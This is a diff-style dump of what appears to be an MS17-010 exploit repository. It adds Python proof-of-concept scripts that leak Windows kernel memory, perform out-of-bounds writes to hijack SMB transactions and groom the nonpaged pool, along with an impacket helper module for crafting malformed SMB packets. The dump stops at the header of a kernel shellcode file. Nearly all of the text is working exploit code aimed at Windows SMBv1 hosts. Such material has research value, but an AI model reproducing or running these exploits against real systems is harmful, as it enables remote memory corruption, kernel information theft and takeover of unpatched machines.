||||||
|
|
||||||
|
|
||||||
|
# use SMB write to shift transaction.InData
|
||||||
|
conn.do_write_andx_raw_pipe(fid, 'A'*512, pid=pids[0])
|
||||||
|
|
||||||
|
print('Modify a bride transaction mid to 0')
|
||||||
|
# below is dangerous operation
|
||||||
|
# OOB write to modify next bride mid to 0
|
||||||
|
conn.send_trans_secondary(fid, pid=pids[0], data='\x00\x00', dataDisplacement=0x5330)
|
||||||
|
|
||||||
|
# test OOB write result by sending a secondary with mid=0 and bad data displacement
|
||||||
|
conn.send_trans_secondary(0, data='\x00', dataDisplacement=0xffff)
|
||||||
|
# if success, the target must reply an error
|
||||||
|
# if no reply, this means fail too
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.getNTStatus() != 0:
|
||||||
|
print('Successfully took over a transaction')
|
||||||
|
else:
|
||||||
|
print('Fail to took over a transaction')
|
||||||
|
|
||||||
|
print('''after successfully took over a transaction, NSA eternalromance
|
||||||
|
- modify bride transaction (mid=0) InData to get arbitrary write
|
||||||
|
- use arbitrary write to modify leak transaction to be peek named pipe command for arbitrary read''')
|
||||||
|
|
||||||
|
|
||||||
|
# receive result to clear name pipe data
|
||||||
|
dce.recv()
|
||||||
|
|
||||||
|
dce.disconnect()
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
60
eternalsynergy_leak.py
Normal file
60
eternalsynergy_leak.py
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
from impacket import smb
|
||||||
|
from mysmb import MYSMB
|
||||||
|
from struct import pack
|
||||||
|
import sys
|
||||||
|
|
||||||
|
'''
|
||||||
|
PoC: demonstrates how NSA eternalsynergy leaks a transaction struct
|
||||||
|
|
||||||
|
Note:
|
||||||
|
- this PoC only test against Windows 7 x64
|
||||||
|
- all SMB request parameter is copied from capture network traffic
|
||||||
|
'''
|
||||||
|
|
||||||
|
USERNAME = ''
|
||||||
|
PASSWORD = ''
|
||||||
|
|
||||||
|
if len(sys.argv) != 3:
|
||||||
|
print("{} <ip> <pipe_name>".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target = sys.argv[1]
|
||||||
|
pipe_name = sys.argv[2]
|
||||||
|
|
||||||
|
conn = MYSMB(target)
|
||||||
|
|
||||||
|
# our buffer size is 4356 bytes
|
||||||
|
# transaction with large reply will be splitted to multiple response
|
||||||
|
conn.login(USERNAME, PASSWORD, maxBufferSize=4356)
|
||||||
|
|
||||||
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK
|
||||||
|
|
||||||
|
# normally, small transaction is allocated from lookaside which force all buffer size to 0x5000
|
||||||
|
# the only method to get small buffer size is sending SMB_COM_TRANSACTION command with empty setup
|
||||||
|
for i in range(10):
|
||||||
|
conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0)
|
||||||
|
|
||||||
|
mid_ntrename = conn.next_mid()
|
||||||
|
# create NT_TRANS_RENAME (5) request
|
||||||
|
req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('<HH', fid, 0), data='A'*0x10c0, maxParameterCount=0x3f40)
|
||||||
|
# leak 0x150 bytes
|
||||||
|
req2 = conn.create_nt_trans_secondary_packet(mid_ntrename, data='A'*0x150)
|
||||||
|
reqs = [ conn.create_trans_packet('', totalDataCount=0x90, maxSetupCount=0, maxParameterCount=0xd00, maxDataCount=0) for i in range(8) ]
|
||||||
|
|
||||||
|
conn.send_raw(req1[:-8])
|
||||||
|
conn.send_raw(req1[-8:]+req2+''.join(reqs))
|
||||||
|
|
||||||
|
data = conn.recv_transaction_data(mid_ntrename, 0x10c0+0x150)
|
||||||
|
|
||||||
|
# no write parameter
|
||||||
|
open('leak.dat', 'wb').write(data[4:])
|
||||||
|
print('All return data is written to leak.dat')
|
||||||
|
|
||||||
|
|
||||||
|
conn.close(tid, fid)
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
46
infoleak_uninit.py
Normal file
46
infoleak_uninit.py
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
from impacket import smb
|
||||||
|
from mysmb import MYSMB
|
||||||
|
from struct import pack
|
||||||
|
import sys
|
||||||
|
|
||||||
|
'''
|
||||||
|
PoC: demonstates leaking information from uninitialize buffer
|
||||||
|
'''
|
||||||
|
|
||||||
|
USERNAME = ''
|
||||||
|
PASSWORD = ''
|
||||||
|
|
||||||
|
if len(sys.argv) != 3:
|
||||||
|
print("{} <ip> <pipe_name>".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target = sys.argv[1]
|
||||||
|
pipe_name = sys.argv[2]
|
||||||
|
|
||||||
|
conn = MYSMB(target)
|
||||||
|
|
||||||
|
conn.login(USERNAME, PASSWORD)
|
||||||
|
|
||||||
|
tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
|
||||||
|
conn.set_default_tid(tid)
|
||||||
|
fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK
|
||||||
|
|
||||||
|
# create NT_TRANS_RENAME (5) request
|
||||||
|
mid = conn.next_mid()
|
||||||
|
conn.send_nt_trans(5, mid=mid, param=pack('<HH', fid, 0), data='A'*0x1000, totalDataCount=0x8000)
|
||||||
|
|
||||||
|
# send secondary to set data at displacement 0 to leave uninitialize data in InData
|
||||||
|
for i in range(7):
|
||||||
|
conn.send_nt_trans_secondary(mid, data='B'*0x1000)
|
||||||
|
|
||||||
|
data = conn.recv_transaction_data(mid, 0x8000)
|
||||||
|
|
||||||
|
# no write parameter
|
||||||
|
open('leak.dat', 'wb').write(data[4:])
|
||||||
|
print('All return data is written to leak.dat')
|
||||||
|
|
||||||
|
conn.close(tid, fid)
|
||||||
|
conn.disconnect_tree(tid)
|
||||||
|
conn.logoff()
|
||||||
|
conn.get_socket().close()
|
||||||
366
mysmb.py
Normal file
366
mysmb.py
Normal file
@@ -0,0 +1,366 @@
|
|||||||
|
# impacket SMB extension for MS17-010 exploit.
|
||||||
|
# this file contains only valid SMB packet format operation.
|
||||||
|
from impacket import smb
|
||||||
|
from struct import pack
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
|
||||||
|
|
||||||
|
def getNTStatus(self):
|
||||||
|
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
|
||||||
|
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
|
||||||
|
|
||||||
|
############# SMB_COM_TRANSACTION_SECONDARY (0x26)
|
||||||
|
class SMBTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
|
||||||
|
structure = (
|
||||||
|
('TotalParameterCount','<H=0'),
|
||||||
|
('TotalDataCount','<H'),
|
||||||
|
('ParameterCount','<H=0'),
|
||||||
|
('ParameterOffset','<H=0'),
|
||||||
|
('ParameterDisplacement','<H=0'),
|
||||||
|
('DataCount','<H'),
|
||||||
|
('DataOffset','<H'),
|
||||||
|
('DataDisplacement','<H=0'),
|
||||||
|
)
|
||||||
|
|
||||||
|
# Note: impacket-0.9.15 struct has no ParameterDisplacement
|
||||||
|
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
|
||||||
|
class SMBTransaction2Secondary_Parameters(smb.SMBCommand_Parameters):
|
||||||
|
structure = (
|
||||||
|
('TotalParameterCount','<H=0'),
|
||||||
|
('TotalDataCount','<H'),
|
||||||
|
('ParameterCount','<H=0'),
|
||||||
|
('ParameterOffset','<H=0'),
|
||||||
|
('ParameterDisplacement','<H=0'),
|
||||||
|
('DataCount','<H'),
|
||||||
|
('DataOffset','<H'),
|
||||||
|
('DataDisplacement','<H=0'),
|
||||||
|
('FID','<H=0'),
|
||||||
|
)
|
||||||
|
|
||||||
|
############# SMB_COM_NT_TRANSACTION_SECONDARY (0xA1)
|
||||||
|
class SMBNTTransactionSecondary_Parameters(smb.SMBCommand_Parameters):
|
||||||
|
structure = (
|
||||||
|
('Reserved1','3s=""'),
|
||||||
|
('TotalParameterCount','<L'),
|
||||||
|
('TotalDataCount','<L'),
|
||||||
|
('ParameterCount','<L'),
|
||||||
|
('ParameterOffset','<L'),
|
||||||
|
('ParameterDisplacement','<L=0'),
|
||||||
|
('DataCount','<L'),
|
||||||
|
('DataOffset','<L'),
|
||||||
|
('DataDisplacement','<L=0'),
|
||||||
|
('Reserved2','<B=0'),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def _put_trans_data(transCmd, parameters, data, noPad=False):
|
||||||
|
# have to init offset before calling len()
|
||||||
|
transCmd['Parameters']['ParameterOffset'] = 0
|
||||||
|
transCmd['Parameters']['DataOffset'] = 0
|
||||||
|
|
||||||
|
# SMB header: 32 bytes
|
||||||
|
# WordCount: 1 bytes
|
||||||
|
# ByteCount: 2 bytes
|
||||||
|
# Note: Setup length is included when len(param) is called
|
||||||
|
offset = 32 + 1 + len(transCmd['Parameters']) + 2
|
||||||
|
|
||||||
|
transData = ''
|
||||||
|
if len(parameters):
|
||||||
|
padLen = 0 if noPad else (4 - offset % 4 ) % 4
|
||||||
|
transCmd['Parameters']['ParameterOffset'] = offset + padLen
|
||||||
|
transData = ('\x00' * padLen) + parameters
|
||||||
|
offset += padLen + len(parameters)
|
||||||
|
|
||||||
|
if len(data):
|
||||||
|
padLen = 0 if noPad else (4 - offset % 4 ) % 4
|
||||||
|
transCmd['Parameters']['DataOffset'] = offset + padLen
|
||||||
|
transData += ('\x00' * padLen) + data
|
||||||
|
|
||||||
|
transCmd['Data'] = transData
|
||||||
|
|
||||||
|
|
||||||
|
origin_NewSMBPacket_addCommand = getattr(smb.NewSMBPacket, "addCommand")
|
||||||
|
login_MaxBufferSize = 61440
|
||||||
|
def NewSMBPacket_addCommand_hook_login(self, command):
|
||||||
|
# restore NewSMBPacket.addCommand
|
||||||
|
setattr(smb.NewSMBPacket, "addCommand", origin_NewSMBPacket_addCommand)
|
||||||
|
|
||||||
|
if isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Extended_Parameters):
|
||||||
|
command['Parameters']['MaxBufferSize'] = login_MaxBufferSize
|
||||||
|
elif isinstance(command['Parameters'], smb.SMBSessionSetupAndX_Parameters):
|
||||||
|
command['Parameters']['MaxBuffer'] = login_MaxBufferSize
|
||||||
|
|
||||||
|
# call original one
|
||||||
|
origin_NewSMBPacket_addCommand(self, command)
|
||||||
|
|
||||||
|
def _setup_login_packet_hook(maxBufferSize):
|
||||||
|
# setup hook for next NewSMBPacket.addCommand if maxBufferSize is not None
|
||||||
|
if maxBufferSize is not None:
|
||||||
|
global login_MaxBufferSize
|
||||||
|
login_MaxBufferSize = maxBufferSize
|
||||||
|
setattr(smb.NewSMBPacket, "addCommand", NewSMBPacket_addCommand_hook_login)
|
||||||
|
|
||||||
|
|
||||||
|
class MYSMB(smb.SMB):
|
||||||
|
def __init__(self, remote_host, use_ntlmv2=True):
|
||||||
|
self.__use_ntlmv2 = use_ntlmv2
|
||||||
|
self._default_tid = 0
|
||||||
|
self._pid = os.getpid() & 0xffff
|
||||||
|
self._last_mid = random.randint(1000, 20000)
|
||||||
|
if 0x4000 <= self._last_mid <= 0x4110:
|
||||||
|
self._last_mid += 0x120
|
||||||
|
self._pkt_flags2 = 0
|
||||||
|
self._last_tid = 0 # last tid from connect_tree()
|
||||||
|
self._last_fid = 0 # last fid from nt_create_andx()
|
||||||
|
smb.SMB.__init__(self, remote_host, remote_host)
|
||||||
|
|
||||||
|
def set_pid(self, pid):
|
||||||
|
self._pid = pid
|
||||||
|
|
||||||
|
def set_last_mid(self, mid):
|
||||||
|
self._last_mid = mid
|
||||||
|
|
||||||
|
def next_mid(self):
|
||||||
|
self._last_mid += random.randint(1, 20)
|
||||||
|
if 0x4000 <= self._last_mid <= 0x4110:
|
||||||
|
self._last_mid += 0x120
|
||||||
|
return self._last_mid
|
||||||
|
|
||||||
|
# override SMB.neg_session() to allow forcing ntlm authentication
|
||||||
|
def neg_session(self, extended_security=True, negPacket=None):
|
||||||
|
smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket)
|
||||||
|
|
||||||
|
# to use any login method, SMB must not be used from multiple thread
|
||||||
|
def login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None):
|
||||||
|
_setup_login_packet_hook(maxBufferSize)
|
||||||
|
smb.SMB.login(self, user, password, domain, lmhash, nthash, ntlm_fallback)
|
||||||
|
|
||||||
|
def login_standard(self, user, password, domain='', lmhash='', nthash='', maxBufferSize=None):
|
||||||
|
_setup_login_packet_hook(maxBufferSize)
|
||||||
|
smb.SMB.login_standard(self, user, password, domain, lmhash, nthash)
|
||||||
|
|
||||||
|
def login_extended(self, user, password, domain='', lmhash='', nthash='', use_ntlmv2=True, maxBufferSize=None):
|
||||||
|
_setup_login_packet_hook(maxBufferSize)
|
||||||
|
smb.SMB.login_extended(self, user, password, domain, lmhash, nthash, use_ntlmv2)
|
||||||
|
|
||||||
|
def connect_tree(self, path, password=None, service=smb.SERVICE_ANY, smb_packet=None):
|
||||||
|
self._last_tid = smb.SMB.tree_connect_andx(self, path, password, service, smb_packet)
|
||||||
|
return self._last_tid
|
||||||
|
|
||||||
|
def get_last_tid(self):
|
||||||
|
return self._last_tid
|
||||||
|
|
||||||
|
def nt_create_andx(self, tid, filename, smb_packet=None, cmd=None, shareAccessMode=smb.FILE_SHARE_READ|smb.FILE_SHARE_WRITE, disposition=smb.FILE_OPEN, accessMask=0x2019f):
|
||||||
|
self._last_fid = smb.SMB.nt_create_andx(self, tid, filename, smb_packet, cmd, shareAccessMode, disposition, accessMask)
|
||||||
|
return self._last_fid
|
||||||
|
|
||||||
|
def get_last_fid(self):
|
||||||
|
return self._last_fid
|
||||||
|
|
||||||
|
def set_default_tid(self, tid):
|
||||||
|
self._default_tid = tid
|
||||||
|
|
||||||
|
def set_pkt_flags2(self, flags):
|
||||||
|
self._pkt_flags2 = flags
|
||||||
|
|
||||||
|
def send_echo(self, data):
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pkt['Tid'] = self._default_tid
|
||||||
|
|
||||||
|
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
|
||||||
|
transCommand['Parameters'] = smb.SMBEcho_Parameters()
|
||||||
|
transCommand['Data'] = smb.SMBEcho_Data()
|
||||||
|
|
||||||
|
transCommand['Parameters']['EchoCount'] = 1
|
||||||
|
transCommand['Data']['Data'] = data
|
||||||
|
pkt.addCommand(transCommand)
|
||||||
|
|
||||||
|
self.sendSMB(pkt)
|
||||||
|
return self.recvSMB()
|
||||||
|
|
||||||
|
def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None):
|
||||||
|
writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX)
|
||||||
|
writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters_Short()
|
||||||
|
writeAndX['Parameters']['Fid'] = fid
|
||||||
|
writeAndX['Parameters']['Offset'] = 0
|
||||||
|
writeAndX['Parameters']['WriteMode'] = 4 # SMB_WMODE_WRITE_RAW_NAMED_PIPE
|
||||||
|
writeAndX['Parameters']['Remaining'] = 12345 # can be any. raw named pipe does not use it
|
||||||
|
writeAndX['Parameters']['DataLength'] = len(data)
|
||||||
|
writeAndX['Parameters']['DataOffset'] = 32 + len(writeAndX['Parameters']) + 1 + 2 + 1 # WordCount(1), ByteCount(2), Padding(1)
|
||||||
|
writeAndX['Data'] = '\x00' + data # pad 1 byte
|
||||||
|
|
||||||
|
self.send_raw(self.create_smb_packet(writeAndX, mid, pid))
|
||||||
|
return self.recvSMB()
|
||||||
|
|
||||||
|
def create_smb_packet(self, smbReq, mid=None, pid=None):
|
||||||
|
if mid is None:
|
||||||
|
mid = self.next_mid()
|
||||||
|
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
pkt.addCommand(smbReq)
|
||||||
|
pkt['Tid'] = self._default_tid
|
||||||
|
pkt['Uid'] = self._uid
|
||||||
|
pkt['Pid'] = self._pid if pid is None else pid
|
||||||
|
pkt['Mid'] = mid
|
||||||
|
flags1, flags2 = self.get_flags()
|
||||||
|
pkt['Flags1'] = flags1
|
||||||
|
pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2
|
||||||
|
|
||||||
|
if self._SignatureEnabled:
|
||||||
|
pkt['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
|
||||||
|
self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
|
||||||
|
|
||||||
|
req = str(pkt)
|
||||||
|
return '\x00'*2 + pack('>H', len(req)) + req # assume length is <65536
|
||||||
|
|
||||||
|
def send_raw(self, data):
|
||||||
|
self.get_socket().send(data)
|
||||||
|
|
||||||
|
def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||||
|
if maxSetupCount is None:
|
||||||
|
maxSetupCount = len(setup)
|
||||||
|
if totalParameterCount is None:
|
||||||
|
totalParameterCount = len(param)
|
||||||
|
if totalDataCount is None:
|
||||||
|
totalDataCount = len(data)
|
||||||
|
if maxParameterCount is None:
|
||||||
|
maxParameterCount = totalParameterCount
|
||||||
|
if maxDataCount is None:
|
||||||
|
maxDataCount = totalDataCount
|
||||||
|
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION)
|
||||||
|
transCmd['Parameters'] = smb.SMBTransaction_Parameters()
|
||||||
|
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
|
||||||
|
transCmd['Parameters']['TotalDataCount'] = totalDataCount
|
||||||
|
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
|
||||||
|
transCmd['Parameters']['MaxDataCount'] = maxDataCount
|
||||||
|
transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
|
||||||
|
transCmd['Parameters']['Flags'] = 0
|
||||||
|
transCmd['Parameters']['Timeout'] = 0xffffffff
|
||||||
|
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||||
|
transCmd['Parameters']['DataCount'] = len(data)
|
||||||
|
transCmd['Parameters']['Setup'] = setup
|
||||||
|
_put_trans_data(transCmd, param, data, noPad)
|
||||||
|
return self.create_smb_packet(transCmd, mid, pid)
|
||||||
|
|
||||||
|
def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||||
|
self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
|
||||||
|
return self.recvSMB()
|
||||||
|
|
||||||
|
def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||||
|
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY)
|
||||||
|
transCmd['Parameters'] = SMBTransactionSecondary_Parameters()
|
||||||
|
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||||
|
transCmd['Parameters']['TotalDataCount'] = len(data)
|
||||||
|
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||||
|
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
|
||||||
|
transCmd['Parameters']['DataCount'] = len(data)
|
||||||
|
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||||
|
|
||||||
|
_put_trans_data(transCmd, param, data, noPad)
|
||||||
|
return self.create_smb_packet(transCmd, mid, pid)
|
||||||
|
|
||||||
|
def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||||
|
self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
|
||||||
|
|
||||||
|
def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||||
|
if maxSetupCount is None:
|
||||||
|
maxSetupCount = len(setup)
|
||||||
|
if totalParameterCount is None:
|
||||||
|
totalParameterCount = len(param)
|
||||||
|
if totalDataCount is None:
|
||||||
|
totalDataCount = len(data)
|
||||||
|
if maxParameterCount is None:
|
||||||
|
maxParameterCount = totalParameterCount
|
||||||
|
if maxDataCount is None:
|
||||||
|
maxDataCount = totalDataCount
|
||||||
|
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2)
|
||||||
|
transCmd['Parameters'] = smb.SMBTransaction2_Parameters()
|
||||||
|
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
|
||||||
|
transCmd['Parameters']['TotalDataCount'] = totalDataCount
|
||||||
|
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
|
||||||
|
transCmd['Parameters']['MaxDataCount'] = maxDataCount
|
||||||
|
transCmd['Parameters']['MaxSetupCount'] = len(setup)
|
||||||
|
transCmd['Parameters']['Flags'] = 0
|
||||||
|
transCmd['Parameters']['Timeout'] = 0xffffffff
|
||||||
|
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||||
|
transCmd['Parameters']['DataCount'] = len(data)
|
||||||
|
transCmd['Parameters']['Setup'] = setup
|
||||||
|
_put_trans_data(transCmd, param, data, noPad)
|
||||||
|
return self.create_smb_packet(transCmd, mid, pid)
|
||||||
|
|
||||||
|
def send_trans2(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||||
|
self.send_raw(self.create_trans2_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
|
||||||
|
return self.recvSMB()
|
||||||
|
|
||||||
|
def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||||
|
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
|
||||||
|
transCmd['Parameters'] = SMBTransaction2Secondary_Parameters()
|
||||||
|
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||||
|
transCmd['Parameters']['TotalDataCount'] = len(data)
|
||||||
|
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||||
|
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
|
||||||
|
transCmd['Parameters']['DataCount'] = len(data)
|
||||||
|
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||||
|
|
||||||
|
_put_trans_data(transCmd, param, data, noPad)
|
||||||
|
return self.create_smb_packet(transCmd, mid, pid)
|
||||||
|
|
||||||
|
def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||||
|
self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
|
||||||
|
|
||||||
|
def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||||
|
if maxSetupCount is None:
|
||||||
|
maxSetupCount = len(setup)
|
||||||
|
if totalParameterCount is None:
|
||||||
|
totalParameterCount = len(param)
|
||||||
|
if totalDataCount is None:
|
||||||
|
totalDataCount = len(data)
|
||||||
|
if maxParameterCount is None:
|
||||||
|
maxParameterCount = totalParameterCount
|
||||||
|
if maxDataCount is None:
|
||||||
|
maxDataCount = totalDataCount
|
||||||
|
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
|
||||||
|
transCmd['Parameters'] = smb.SMBNTTransaction_Parameters()
|
||||||
|
transCmd['Parameters']['MaxSetupCount'] = maxSetupCount
|
||||||
|
transCmd['Parameters']['TotalParameterCount'] = totalParameterCount
|
||||||
|
transCmd['Parameters']['TotalDataCount'] = totalDataCount
|
||||||
|
transCmd['Parameters']['MaxParameterCount'] = maxParameterCount
|
||||||
|
transCmd['Parameters']['MaxDataCount'] = maxDataCount
|
||||||
|
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||||
|
transCmd['Parameters']['DataCount'] = len(data)
|
||||||
|
transCmd['Parameters']['Function'] = function
|
||||||
|
transCmd['Parameters']['Setup'] = setup
|
||||||
|
_put_trans_data(transCmd, param, data, noPad)
|
||||||
|
return self.create_smb_packet(transCmd, mid, pid)
|
||||||
|
|
||||||
|
def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, noPad=False):
|
||||||
|
self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, noPad))
|
||||||
|
return self.recvSMB()
|
||||||
|
|
||||||
|
def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||||
|
transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY)
|
||||||
|
transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters()
|
||||||
|
transCmd['Parameters']['TotalParameterCount'] = len(param)
|
||||||
|
transCmd['Parameters']['TotalDataCount'] = len(data)
|
||||||
|
transCmd['Parameters']['ParameterCount'] = len(param)
|
||||||
|
transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement
|
||||||
|
transCmd['Parameters']['DataCount'] = len(data)
|
||||||
|
transCmd['Parameters']['DataDisplacement'] = dataDisplacement
|
||||||
|
_put_trans_data(transCmd, param, data, noPad)
|
||||||
|
return self.create_smb_packet(transCmd, mid, pid)
|
||||||
|
|
||||||
|
def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, noPad=False):
|
||||||
|
self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, noPad))
|
||||||
|
|
||||||
|
def recv_transaction_data(self, mid, minLen):
|
||||||
|
data = ''
|
||||||
|
while len(data) < minLen:
|
||||||
|
recvPkt = self.recvSMB()
|
||||||
|
if recvPkt['Mid'] != mid:
|
||||||
|
continue
|
||||||
|
resp = smb.SMBCommand(recvPkt['Data'][0])
|
||||||
|
data += resp['Data'][1:] # skip padding
|
||||||
|
#print(len(data))
|
||||||
|
return data
|
||||||
|
|
||||||
55
npp_control.py
Normal file
55
npp_control.py
Normal file
@@ -0,0 +1,55 @@
|
|||||||
|
#!/usr/bin/python
|
||||||
|
from impacket import smb
|
||||||
|
from mysmb import MYSMB
|
||||||
|
from struct import pack
|
||||||
|
import sys
|
||||||
|
|
||||||
|
'''
|
||||||
|
PoC: demonstrates controlling large nonpaged pool allocation with SMB_COM_SESSION_SETUP_ANDX bug
|
||||||
|
|
||||||
|
Note: The PoC does not support user authentication
|
||||||
|
'''
|
||||||
|
|
||||||
|
|
||||||
|
if len(sys.argv) != 2:
|
||||||
|
print("{} <ip>".format(sys.argv[0]))
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
target = sys.argv[1]
|
||||||
|
|
||||||
|
conn = MYSMB(target, use_ntlmv2=False)
|
||||||
|
|
||||||
|
_, flags2 = conn.get_flags()
|
||||||
|
|
||||||
|
# FLAGS2_EXTENDED_SECURITY MUST not be set
|
||||||
|
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
|
||||||
|
|
||||||
|
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
|
||||||
|
flags2 |= smb.SMB.FLAGS2_UNICODE
|
||||||
|
conn.set_flags(flags2=flags2)
|
||||||
|
|
||||||
|
pkt = smb.NewSMBPacket()
|
||||||
|
|
||||||
|
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||||
|
sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()
|
||||||
|
sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value
|
||||||
|
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
|
||||||
|
sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero
|
||||||
|
sessionSetup['Parameters']['SessionKey'] = 0
|
||||||
|
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
|
||||||
|
# UnicodePasswordLen field is in Reserved for extended security format.
|
||||||
|
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
|
||||||
|
|
||||||
|
# allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes)
|
||||||
|
sessionSetup['Data'] = pack('<H', 0x1604) + '\x00'*20
|
||||||
|
pkt.addCommand(sessionSetup)
|
||||||
|
|
||||||
|
conn.sendSMB(pkt)
|
||||||
|
recvPkt = conn.recvSMB()
|
||||||
|
if recvPkt.getNTStatus() == 0:
|
||||||
|
print('SMB1 session setup allocate nonpaged pool success')
|
||||||
|
conn.logoff()
|
||||||
|
else:
|
||||||
|
print('SMB1 session setup allocate nonpaged pool failed')
|
||||||
|
|
||||||
|
conn.get_socket().close()
|
||||||
608
shellcode/eternalblue_kshellcode_x64.asm
Normal file
608
shellcode/eternalblue_kshellcode_x64.asm
Normal file
@@ -0,0 +1,608 @@
|
|||||||
|
;
|
||||||
|
